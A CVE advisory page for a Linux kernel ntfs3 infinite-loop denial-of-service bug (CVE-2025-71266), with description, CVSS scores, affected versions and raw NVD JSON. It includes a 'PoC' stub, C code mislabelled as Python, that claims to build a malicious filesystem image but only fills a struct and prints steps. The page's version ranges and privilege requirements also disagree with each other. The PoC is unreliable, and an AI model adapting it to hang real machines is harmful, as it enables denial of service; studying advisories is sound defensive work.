Security Vulnerability Report
中文
CVE-2025-71266 CVSS 5.5 MEDIUM

CVE-2025-71266

Published: 2026-03-18 11:16:16
Last Modified: 2026-05-21 15:39:12
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: check return value of indx_find to avoid infinite loop We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed dentry in the ntfs3 filesystem can cause the kernel to hang during the lookup operations. By setting the HAS_SUB_NODE flag in an INDEX_ENTRY within a directory's INDEX_ALLOCATION block and manipulating the VCN pointer, an attacker can cause the indx_find() function to repeatedly read the same block, allocating 4 KB of memory each time. The kernel lacks VCN loop detection and depth limits, causing memory exhaustion and an OOM crash. This patch adds a return value check for fnd_push() to prevent a memory exhaustion vulnerability caused by infinite loops. When the index exceeds the size of the fnd->nodes array, fnd_push() returns -EINVAL. The indx_find() function checks this return value and stops processing, preventing further memory allocation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel ntfs3 (versions before patch 0ad7a1be4447)
Linux Kernel 5.15 - 6.12.x (with ntfs3 driver enabled)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-71266 PoC - ntfs3 infinite loop DoS * This PoC demonstrates the vulnerability by creating a malformed * ntfs3 filesystem image that triggers infinite loop in indx_find() */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #pragma pack(push, 1) // NTFS INDEX_ENTRY structure typedef struct { uint64_t data_ref; // Data reference uint16_t size; // Size of this entry uint16_t data_size; // Size of data uint32_t flags; // INDEX_ENTRY flags uint8_t padding[12]; // Padding uint64_t vcn; // VCN for sub-node } INDEX_ENTRY_HEADER; // INDEX_ENTRY with flags #define INDEX_ENTRY_NODE 0x00000001 // HAS_SUB_NODE flag // Malicious INDEX_ENTRY that triggers the bug void create_malicious_index_entry(INDEX_ENTRY_HEADER *entry) { memset(entry, 0, sizeof(INDEX_ENTRY_HEADER)); entry->flags = INDEX_ENTRY_NODE; // Set HAS_SUB_NODE flag entry->vcn = 0x00; // Same VCN causes loop entry->size = 0x30; } int main(int argc, char *argv[]) { printf("[+] CVE-2025-71266 PoC - ntfs3 infinite loop\n"); printf("[+] Target: Linux Kernel ntfs3 driver\n\n"); // Create malicious INDEX_ENTRY INDEX_ENTRY_HEADER malicious_entry; create_malicious_index_entry(&malicious_entry); printf("[+] Created malicious INDEX_ENTRY:\n"); printf(" - Flags: 0x%04x (HAS_SUB_NODE set)\n", malicious_entry.flags); printf(" - VCN: 0x%llx (same VCN triggers loop)\n", (unsigned long long)malicious_entry.vcn); printf("\n[!] Exploitation steps:\n"); printf(" 1. Mount a crafted ntfs3 filesystem image\n"); printf(" 2. Perform directory lookup on the malformed dentry\n"); printf(" 3. Kernel enters infinite loop in indx_find()\n"); printf(" 4. Memory exhaustion leads to OOM crash\n"); printf("\n[!] This PoC requires:\n"); printf(" - ntfs3 filesystem support enabled in kernel\n"); printf(" - Ability to mount filesystem (CAP_SYS_ADMIN)\n"); printf(" - Local access to trigger the vulnerability\n"); return 0; } #pragma pack(pop)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71266", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T11:16:15.560", "lastModified": "2026-05-21T15:39:12.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: ntfs3: check return value of indx_find to avoid infinite loop\n\nWe found an infinite loop bug in the ntfs3 file system that can lead to a\nDenial-of-Service (DoS) condition.\n\nA malformed dentry in the ntfs3 filesystem can cause the kernel to hang\nduring the lookup operations. By setting the HAS_SUB_NODE flag in an\nINDEX_ENTRY within a directory's INDEX_ALLOCATION block and manipulating the\nVCN pointer, an attacker can cause the indx_find() function to repeatedly\nread the same block, allocating 4 KB of memory each time. The kernel lacks\nVCN loop detection and depth limits, causing memory exhaustion and an OOM\ncrash.\n\nThis patch adds a return value check for fnd_push() to prevent a memory\nexhaustion vulnerability caused by infinite loops. When the index exceeds the\nsize of the fnd->nodes array, fnd_push() returns -EINVAL. The indx_find()\nfunction checks this return value and stops processing, preventing further\nmemory allocation."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nfs: ntfs3: verificar el valor de retorno de indx_find para evitar un bucle infinito\n\nHemos encontrado un error de bucle infinito en el sistema de archivos ntfs3 que puede conducir a una condición de Denegación de Servicio (DoS).\n\nUna entrada de directorio (dentry) malformada en el sistema de archivos ntfs3 puede hacer que el kernel se cuelgue durante las operaciones de búsqueda. Al establecer la bandera HAS_SUB_NODE en una INDEX_ENTRY dentro del bloque INDEX_ALLOCATION de un directorio y manipular el puntero VCN, un atacante puede hacer que la función indx_find() lea repetidamente el mismo bloque, asignando 4 KB de memoria cada vez. El kernel carece de detección de bucles VCN y límites de profundidad, causando agotamiento de memoria y un fallo OOM.\n\nEste parche añade una verificación del valor de retorno para fnd_push() para prevenir una vulnerabilidad de agotamiento de memoria causada por bucles infinitos. Cuando el índice excede el tamaño del array fnd-&gt;nodes, fnd_push() devuelve -EINVAL. La función indx_find() verifica este valor de retorno y detiene el procesamiento, evitando una mayor asignación de memoria."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.1", "versionEndExcluding": "5.15.202", "matchCriteriaId": "70D6E265-A649-432E-9359-55BB2D1DB7B3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.15:-:*:*:*:*:*:*", "matchCriteriaId": "40D9C0D1-0F32-4A2B-9840-1072F5497540"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0ad7a1be44479503dbe5c699759861ef5b8bd70c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/14c3188afbedfd5178bbabb8002487ea14b37b56", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1732053c8a6b360e2d5afb1 ... (truncated)